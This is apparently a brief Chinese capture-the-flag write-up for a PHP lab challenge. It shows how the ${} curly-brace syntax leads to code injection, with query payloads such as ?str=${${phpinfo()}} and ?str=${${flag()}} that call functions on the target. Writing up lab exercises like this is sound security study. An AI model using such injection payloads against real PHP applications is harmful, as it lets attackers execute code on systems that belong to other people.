封神台—二月靶场巧用花括号（考点：花括号用法）

打开容器后发现，一段php代码，根据提示发现花括号的作用${}能把括号内的参数当成变量来执行。
#GOAL: gather some phpinfo();注释让我们收集phpinfo(),所以尝试
?str=${${phpinfo()}}
返回phpinfo页面
flag在flag()里面
 

pyload：?str=${${flag()}}